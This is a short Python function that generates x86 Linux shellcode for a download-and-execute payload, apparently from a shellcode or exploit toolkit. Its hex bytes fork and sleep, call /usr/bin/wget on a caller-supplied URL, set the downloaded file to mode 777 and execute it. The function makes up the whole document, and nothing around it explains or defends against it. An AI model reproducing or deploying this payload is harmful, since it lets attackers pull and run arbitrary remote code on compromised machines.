def downloadANDexecute( url, filename):
	shellcode = r"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x3b\x31\xc9\x31\xdb\x31\xc0\x6a\x05\x89\xe1\x89\xe1\x89\xe3\xb0\xa2\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f"
	shellcode += filename
	shellcode += r"\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50"
	shellcode += filename
	shellcode += r"\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x6a\x0b\x58\x99\x52"
	shellcode += url
	shellcode += r"\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
	return shellcode